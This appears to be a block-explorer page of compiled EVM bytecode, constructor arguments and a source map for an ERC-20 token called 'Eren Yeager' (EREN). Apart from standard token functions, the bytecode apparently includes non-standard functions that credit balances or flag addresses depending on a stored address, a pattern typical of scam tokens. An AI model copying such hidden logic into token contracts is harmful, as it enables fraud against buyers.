ffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161105f91906119d5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906118f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390611975565b60405180910390fd5b6111578383836114c6565b60001515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111ff57600854600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fc9190611a78565b90505b61126b81604051806060016040528060278152602001611ef760279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ad9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113a091906119d5565b60405180910390a3505050565b60008383111582906113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec91906118d3565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60006114de6114d984611a30565b611a0b565b905080838252602082019050828560208602820111156114fd57600080fd5b60005b8581101561152d57816115138882611537565b845260208401935060208301925050600181019050611500565b5050509392505050565b60008135905061154681611eb1565b92915050565b600082601f83011261155d57600080fd5b813561156d8482602086016114cb565b91505092915050565b60008135905061158581611ec8565b92915050565b60008135905061159a81611edf565b92915050565b6000602082840312156115b257600080fd5b60006115c084828501611537565b91505092915050565b600080604083850312156115dc57600080fd5b60006115ea85828601611537565b92505060206115fb85828601611537565b9150509250929050565b60008060006060848603121561161a57600080fd5b600061162886828701611537565b935050602061163986828701611537565b925050604061164a8682870161158b565b9150509250925092565b60008060006060848603121561166957600080fd5b600061167786828701611537565b935050602061168886828701611576565b92505060406116998682870161158b565b9150509250925092565b600080604083850312156116b657600080fd5b60006116c485828601611537565b92505060206116d58582860161158b565b9150509250929050565b600080604083850312156116f257600080fd5b600083013567ffffffffffffffff81111561170c57600080fd5b6117188582860161154c565b92505060206117298582860161158b565b9150509250929050565b61173c81611b02565b82525050565b61174b81611b14565b82525050565b600061175c82611a5c565b6117668185611a67565b9350611776818560208601611b57565b61177f81611cc3565b840191505092915050565b6000611797602683611a67565b91506117a282611cd4565b604082019050919050565b60006117ba600c83611a67565b91506117c582611d23565b602082019050919050565b60006117dd602b83611a67565b91506117e882611d4c565b604082019050919050565b6000611800602083611a67565b915061180b82611d9b565b602082019050919050565b6000611823602483611a67565b915061182e82611dc4565b604082019050919050565b6000611846602583611a67565b915061185182611e13565b604082019050919050565b6000611869602383611a67565b915061187482611e62565b604082019050919050565b61188881611b40565b82525050565b61189781611b4a565b82525050565b60006020820190506118b26000830184611733565b92915050565b60006020820190506118cd6000830184611742565b92915050565b600060208201905081810360008301526118ed8184611751565b905092915050565b6000602082019050818103600083015261190e8161178a565b9050919050565b6000602082019050818103600083015261192e816117ad565b9050919050565b6000602082019050818103600083015261194e816117d0565b9050919050565b6000602082019050818103600083015261196e816117f3565b9050919050565b6000602082019050818103600083015261198e81611816565b9050919050565b600060208201905081810360008301526119ae81611839565b9050919050565b600060208201905081810360008301526119ce8161185c565b9050919050565b60006020820190506119ea600083018461187f565b92915050565b6000602082019050611a05600083018461188e565b92915050565b6000611a15611a26565b9050611a218282611bbc565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4b57611a4a611c94565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8382611b40565b9150611a8e83611b40565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac357611ac2611c36565b5b828201905092915050565b6000611ad982611b40565b9150611ae483611b40565b925082821015611af757611af6611c36565b5b828203905092915050565b6000611b0d82611b20565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b75578082015181840152602081019050611b5a565b83811115611b84576000848401525b50505050565b60006002820490506001821680611ba257607f821691505b60208210811415611bb657611bb5611c65565b5b50919050565b611bc582611cc3565b810181811067ffffffffffffffff82111715611be457611be3611c94565b5b80604052505050565b6000611bf882611b40565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2b57611c2a611c36565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c69642073656e640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611eba81611b02565b8114611ec557600080fd5b50565b611ed181611b14565b8114611edc57600080fd5b50565b611ee881611b40565b8114611ef357600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056121720b038ad62f0ba23dadd20bcc463f08f7c63c4e0455f2984822c588a0964736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000cdee4c17f6275e8fcbe6c78c0fde011ab5a9275900000000000000000000000000000000000000000000000000005af3107a4000000000000000000000000000000000000000000000000000000000000000000b4572656e2059656167657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044552454e00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a6116100975780639fb79737116100665780639fb7973714610276578063a16a317914610292578063a9059cbb146102ae578063dd62ed3e146102de576100f5565b8063715018a6146102145780638da5cb5b1461021e578063905100c11461023c57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f91906118d3565b60405180910390f35b610132600480360381019061012d91906116a3565b6103a0565b60405161013f91906118b8565b60405180910390f35b6101506103be565b60405161015d91906119d5565b60405180910390f35b610180600480360381019061017b9190611605565b6103c8565b60405161018d91906118b8565b60405180910390f35b61019e6104a1565b6040516101ab91906119f0565b60405180910390f35b6101ce60048036038101906101c991906116a3565b6104b8565b6040516101db91906118b8565b60405180910390f35b6101fe60048036038101906101f991906115a0565b61056b565b60405161020b91906119d5565b60405180910390f35b61021c6105b4565b005b61022661063c565b604051610233919061189d565b60405180910390f35b61025660048036038101906102519190611654565b610665565b005b6102606109a1565b60405161026d91906118d3565b60405180910390f35b610290600480360381019061028b91906116a3565b610a33565b005b6102ac60048036038101906102a791906116df565b610d62565b005b6102c860048036038101906102c391906116a3565b610dde565b6040516102d591906118b8565b60405180910390f35b6102f860048036038101906102f391906115c9565b610dfc565b60405161030591906119d5565b60405180910390f35b60606005805461031d90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461034990611b8a565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b60006103b46103ad610e99565b8484610ea1565b6001905092915050565b6000600854905090565b60006103d584848461106c565b610496846103e1610e99565b61049185604051806060016040528060298152602001611f1e60299139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610447610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ad9092919063ffffffff16565b610ea1565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105616104c5610e99565b8461055c85600460006104d6610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8390919063ffffffff16565b610ea1565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105bc610e99565b73ffffffffffffffffffffffffffffffffffffffff166105da61063c565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611955565b60405180910390fd5b61063a6000611402565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905060008210156106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590611915565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108915782600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461082e9190611a78565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061099a565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190611a78565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6060600680546109b090611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546109dc90611b8a565b8015610a295780601f106109fe57610100808354040283529160200191610a29565b820191906000526020600020905b815481529060010190602001808311610a0c57829003601f168201915b5050505050905090565b6001811015610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90611935565b60405180910390fd5b600080339050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c3f5781600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5b9190611ace565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508282610baa9190611a78565b915081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bf79190611a78565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5c565b81600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8a9190611ace565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d189190611a78565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b6000610d6c610e99565b905060005b8351811015610dd857610dc582858381518110610db7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518561106c565b8080610dd090611bed565b915050610d71565b50505050565b6000610df2610deb610e99565b848461106c565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610e919190611a78565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0890611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f78906119b5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161105f91906119d5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d3906118f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390611975565b60405180910390fd5b6111578383836114c6565b60001515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111ff57600854600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fc9190611a78565b90505b61126b81604051806060016040528060278152602001611ef760279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ad9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113a091906119d5565b60405180910390a3505050565b60008383111582906113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec91906118d3565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60006114de6114d984611a30565b611a0b565b905080838252602082019050828560208602820111156114fd57600080fd5b60005b8581101561152d57816115138882611537565b845260208401935060208301925050600181019050611500565b5050509392505050565b60008135905061154681611eb1565b92915050565b600082601f83011261155d57600080fd5b813561156d8482602086016114cb565b91505092915050565b60008135905061158581611ec8565b92915050565b60008135905061159a81611edf565b92915050565b6000602082840312156115b257600080fd5b60006115c084828501611537565b91505092915050565b600080604083850312156115dc57600080fd5b60006115ea85828601611537565b92505060206115fb85828601611537565b9150509250929050565b60008060006060848603121561161a57600080fd5b600061162886828701611537565b935050602061163986828701611537565b925050604061164a8682870161158b565b9150509250925092565b60008060006060848603121561166957600080fd5b600061167786828701611537565b935050602061168886828701611576565b92505060406116998682870161158b565b9150509250925092565b600080604083850312156116b657600080fd5b60006116c485828601611537565b92505060206116d58582860161158b565b9150509250929050565b600080604083850312156116f257600080fd5b600083013567ffffffffffffffff81111561170c57600080fd5b6117188582860161154c565b92505060206117298582860161158b565b9150509250929050565b61173c81611b02565b82525050565b61174b81611b14565b82525050565b600061175c82611a5c565b6117668185611a67565b9350611776818560208601611b57565b61177f81611cc3565b840191505092915050565b6000611797602683611a67565b91506117a282611cd4565b604082019050919050565b60006117ba600c83611a67565b91506117c582611d23565b602082019050919050565b60006117dd602b83611a67565b91506117e882611d4c565b604082019050919050565b6000611800602083611a67565b915061180b82611d9b565b602082019050919050565b6000611823602483611a67565b915061182e82611dc4565b604082019050919050565b6000611846602583611a67565b915061185182611e13565b604082019050919050565b6000611869602383611a67565b915061187482611e62565b604082019050919050565b61188881611b40565b82525050565b61189781611b4a565b82525050565b60006020820190506118b26000830184611733565b92915050565b60006020820190506118cd6000830184611742565b92915050565b600060208201905081810360008301526118ed8184611751565b905092915050565b6000602082019050818103600083015261190e8161178a565b9050919050565b6000602082019050818103600083015261192e816117ad565b9050919050565b6000602082019050818103600083015261194e816117d0565b9050919050565b6000602082019050818103600083015261196e816117f3565b9050919050565b6000602082019050818103600083015261198e81611816565b9050919050565b600060208201905081810360008301526119ae81611839565b9050919050565b600060208201905081810360008301526119ce8161185c565b9050919050565b60006020820190506119ea600083018461187f565b92915050565b6000602082019050611a05600083018461188e565b92915050565b6000611a15611a26565b9050611a218282611bbc565b919050565b6000604051905090565b600067ffffffffffffffff821115611a4b57611a4a611c94565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611a8382611b40565b9150611a8e83611b40565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac357611ac2611c36565b5b828201905092915050565b6000611ad982611b40565b9150611ae483611b40565b925082821015611af757611af6611c36565b5b828203905092915050565b6000611b0d82611b20565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b75578082015181840152602081019050611b5a565b83811115611b84576000848401525b50505050565b60006002820490506001821680611ba257607f821691505b60208210811415611bb657611bb5611c65565b5b50919050565b611bc582611cc3565b810181811067ffffffffffffffff82111715611be457611be3611c94565b5b80604052505050565b6000611bf882611b40565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611c2b57611c2a611c36565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c69642073656e640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611eba81611b02565b8114611ec557600080fd5b50565b611ed181611b14565b8114611edc57600080fd5b50565b611ee881611b40565b8114611ef357600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056121720b038ad62f0ba23dadd20bcc463f08f7c63c4e0455f2984822c588a0964736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000cdee4c17f6275e8fcbe6c78c0fde011ab5a9275900000000000000000000000000000000000000000000000000005af3107a4000000000000000000000000000000000000000000000000000000000000000000b4572656e2059656167657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044552454e00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Eren Yeager
Arg [1] : symbol_ (string): EREN
Arg [2] : how_ (address): 0xCDEE4C17f6275E8FcBE6c78C0fde011AB5A92759
Arg [3] : totalSupply_ (uint256): 100000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000cdee4c17f6275e8fcbe6c78c0fde011ab5a92759
Arg [3] : 00000000000000000000000000000000000000000000000000005af3107a4000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 4572656e20596561676572000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4552454e00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12910:6411:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13782:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15015:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14083:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15217:455;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13984:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15680:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14199:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5517:94;;;:::i;:::-;;4866:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16704:505;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13881:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18698:620;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14572:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14364:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14826:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13782:91;13827:13;13860:5;13853:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13782:91;:::o;15015:194::-;15118:4;15140:39;15149:12;:10;:12::i;:::-;15163:7;15172:6;15140:8;:39::i;:::-;15197:4;15190:11;;15015:194;;;;:::o;14083:108::-;14144:7;14171:12;;14164:19;;14083:108;:::o;15217:455::-;15357:4;15374:36;15384:6;15392:9;15403:6;15374:9;:36::i;:::-;15421:221;15444:6;15465:12;:10;:12::i;:::-;15492:139;15548:6;15492:139;;;;;;;;;;;;;;;;;:11;:19;15504:6;15492:19;;;;;;;;;;;;;;;:33;15512:12;:10;:12::i;:::-;15492:33;;;;;;;;;;;;;;;;:37;;:139;;;;;:::i;:::-;15421:8;:221::i;:::-;15660:4;15653:11;;15217:455;;;;;:::o;13984:91::-;14033:5;14058:9;;;;;;;;;;;14051:16;;13984:91;:::o;15680:290::-;15783:4;15805:133;15828:12;:10;:12::i;:::-;15855:7;15877:50;15916:10;15877:11;:25;15889:12;:10;:12::i;:::-;15877:25;;;;;;;;;;;;;;;:34;15903:7;15877:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15805:8;:133::i;:::-;15956:4;15949:11;;15680:290;;;;:::o;14199:157::-;14298:7;14330:9;:18;14340:7;14330:18;;;;;;;;;;;;;;;;14323:25;;14199:157;;;:::o;5517:94::-;5097:12;:10;:12::i;:::-;5086:23;;:7;:5;:7::i;:::-;:23;;;5078:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5582:21:::1;5600:1;5582:9;:21::i;:::-;5517:94::o:0;4866:87::-;4912:7;4939:6;;;;;;;;;;;4932:13;;4866:87;:::o;16704:505::-;16824:12;16839:10;16824:25;;16892:1;16882:6;:11;;16860:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;16933:18;16980:7;:13;16988:4;16980:13;;;;;;;;;;;;;;;;;;;;;;;;;16972:21;;:4;:21;;;16968:234;;;17046:6;17010:11;:17;17022:4;17010:17;;;;;;;;;;;;;;;:32;17028:7;:13;17036:4;17028:13;;;;;;;;;;;;;;;;;;;;;;;;;17010:32;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;17084:7;17067:6;:14;17074:6;17067:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;16968:234;;;17180:10;17152:11;:17;17164:4;17152:17;;;;;;;;;;;;;;;:25;17170:6;17152:25;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;17124:11;:17;17136:4;17124:17;;;;;;;;;;;;;;;:25;17142:6;17124:25;;;;;;;;;;;;;;;:66;;;;16968:234;16704:505;;;;;:::o;13881:95::-;13928:13;13961:7;13954:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13881:95;:::o;18698:620::-;18829:1;18819:6;:11;;18797:104;;;;;;;;;;;;:::i;:::-;;;;;;;;;18912:13;18940:12;18955:10;18940:25;;18988:7;:13;18996:4;18988:13;;;;;;;;;;;;;;;;;;;;;;;;;18980:21;;:4;:21;;;18976:335;;;19054:5;19036:9;:15;19046:4;19036:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;19018:9;:15;19028:4;19018:15;;;;;;;;;;;;;;;:41;;;;19083:6;19074:15;;;;;:::i;:::-;;;19152:5;19128:9;:21;19138:10;19128:21;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;19104:9;:21;19114:10;19104:21;;;;;;;;;;;;;;;:53;;;;18976:335;;;19226:5;19208:9;:15;19218:4;19208:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;19190:9;:15;19200:4;19190:15;;;;;;;;;;;;;;;:41;;;;19294:5;19270:9;:21;19280:10;19270:21;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;19246:9;:21;19256:10;19246:21;;;;;;;;;;;;;;;:53;;;;18976:335;18698:620;;;;:::o;14572:246::-;14660:12;14675;:10;:12::i;:::-;14660:27;;14703:9;14698:113;14722:10;:17;14718:1;:21;14698:113;;;14761:38;14771:4;14777:10;14788:1;14777:13;;;;;;;;;;;;;;;;;;;;;;14792:6;14761:9;:38::i;:::-;14741:3;;;;;:::i;:::-;;;;14698:113;;;;14572:246;;;:::o;14364:200::-;14470:4;14492:42;14502:12;:10;:12::i;:::-;14516:9;14527:6;14492:9;:42::i;:::-;14552:4;14545:11;;14364:200;;;;:::o;14826:181::-;14940:7;14972:11;:18;14984:5;14972:18;;;;;;;;;;;;;;;:27;14991:7;14972:27;;;;;;;;;;;;;;;;14965:34;;14826:181;;;;:::o;8501:98::-;8559:7;8590:1;8586;:5;;;;:::i;:::-;8579:12;;8501:98;;;;:::o;3586:::-;3639:7;3666:10;3659:17;;3586:98;:::o;18069:382::-;18222:1;18205:19;;:5;:19;;;;18197:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;18304:1;18285:21;;:7;:21;;;;18277:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;18389:6;18359:11;:18;18371:5;18359:18;;;;;;;;;;;;;;;:27;18378:7;18359:27;;;;;;;;;;;;;;;:36;;;;18427:7